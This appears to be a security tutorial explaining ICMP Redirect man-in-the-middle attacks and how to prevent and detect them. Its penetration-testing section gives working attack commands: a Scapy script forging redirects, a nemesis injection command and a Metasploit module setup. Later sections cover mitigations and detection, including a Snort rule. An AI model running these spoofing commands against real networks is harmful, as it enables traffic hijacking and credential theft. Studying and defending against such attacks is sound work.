ICMP Redirection Attack: Guide to Preventing Man-in-the-Middle Attacks

An ICMP Redirect Attack is a network-based attack where an attacker sends fraudulent ICMP Redirect messages to manipulate a victim’s routing table, forcing traffic through a malicious gateway. This can lead to Man-in-the-Middle (MitM) attacks, traffic interception, or network disruption.

1. How the Attack Works

ICMP Redirect (Normal Operation)

• Legitimate Use: Routers use ICMP Redirect messages (Type 5) to inform hosts of a more efficient route.
  • Example: If Host A sends traffic to Router 1, but Router 1 knows Router 2 is a better path, it sends an ICMP Redirect to Host A.

Malicious ICMP Redirect Attack

1. Attacker Sends Fake ICMP Redirects
   • The attacker (on the same subnet) sends spoofed ICMP Redirect messages to the victim.
   • The message claims that traffic should be sent via the attacker’s IP instead of the legitimate gateway.
2. Victim Updates Routing Table
   • The victim’s system accepts the malicious redirect and modifies its routing cache.
3. Traffic Hijacking
   • All traffic (or specific destinations) is rerouted through the attacker’s machine, enabling:
     • Man-in-the-Middle (MitM) attacks (e.g., SSL stripping, session hijacking).
     • Network sniffing (capturing passwords, sensitive data).
     • Denial-of-Service (DoS) by dropping or modifying packets.

2. Ethical Hacker Simulation in Penetration Testing

Ethical hackers test systems for ICMP Redirect vulnerabilities to assess network security.

Tools & Commands for Simulation

A. Manual ICMP Redirect with Scapy (Python)

from scapy.all import *
# Attacker's IP: 192.168.1.100  
# Victim's IP: 192.168.1.50  
# Legitimate Gateway: 192.168.1.1  
# Target Host to Redirect: 8.8.8.8  

packet = IP(src="192.168.1.1", dst="192.168.1.50") / ICMP(type=5, code=1, gw="192.168.1.100") / IP(src="192.168.1.50", dst="8.8.8.8") / UDP()  
send(packet, verbose=1)  

• type=5 → ICMP Redirect
• code=1 → Redirect for host
• gw="attacker_IP" → New malicious gateway

B. Using Kali Linux Tools

• nemesis (Packet Injection Tool)

nemesis icmp -S 192.168.1.1 -D 192.168.1.50 -r -g 192.168.1.100

• -S → Spoofed source (router)
• -D → Victim’s IP
• -r → ICMP Redirect
• -g → New gateway (attacker’s IP)

C. Metasploit Module (Deprecated but Possible)

msfconsole  
use auxiliary/spoof/icmp/icmp_redirect  
set INTERFACE eth0  
set NEW_GW 192.168.1.100  
set OLD_GW 192.168.1.1  
set VICTIM 192.168.1.50  
run  

3. Prevention & Mitigation Strategies

A. Disabling ICMP Redirects (Best Defense)

Linux

sysctl -w net.ipv4.conf.all.accept_redirects=0  
sysctl -w net.ipv4.conf.eth0.accept_redirects=0  # Specific interface  

• Permanent Setting: Add to /etc/sysctl.conf

net.ipv4.conf.all.accept_redirects=0  
net.ipv6.conf.all.accept_redirects=0  

Windows

# Disable ICMP Redirects via Registry  
reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v EnableICMPRedirect /t REG_DWORD /d 0 /f  

• Group Policy:
  • Computer Configuration > Policies > Windows Settings > Security Settings > Network List Manager Policies

Cisco Routers

no ip icmp redirect  

B. Network Segmentation & Firewall Rules

• Firewall Rules (iptables)

iptables -A INPUT -p icmp --icmp-type redirect -j DROP  

• Network Monitoring (IDS/IPS)
  • Snort Rule:
    alert icmp any any -> $HOME_NET any (msg:"ICMP Redirect Attack"; icode:1; itype:5; sid:1000003; rev:1;)

C. Host Hardening

• Disable IP Forwarding (on non-routers)

sysctl -w net.ipv4.ip_forward=0  

4. Detection & Monitoring Tools

• Wireshark Filter

icmp.type == 5  # ICMP Redirects  

• tcpdump

tcpdump -i eth0 'icmp[0] == 5'  

• Security Onion (Suricata/Zeek) – Detects malicious redirects.

Conclusion

• ICMP Redirect Attacks manipulate routing tables to hijack traffic.
• Ethical hackers simulate them using Scapy, nemesis, or Metasploit.
• Prevention: Disable ICMP redirects, use firewalls, and monitor networks.
• Detection: Wireshark, Snort, and IDS/IPS tools help identify attacks.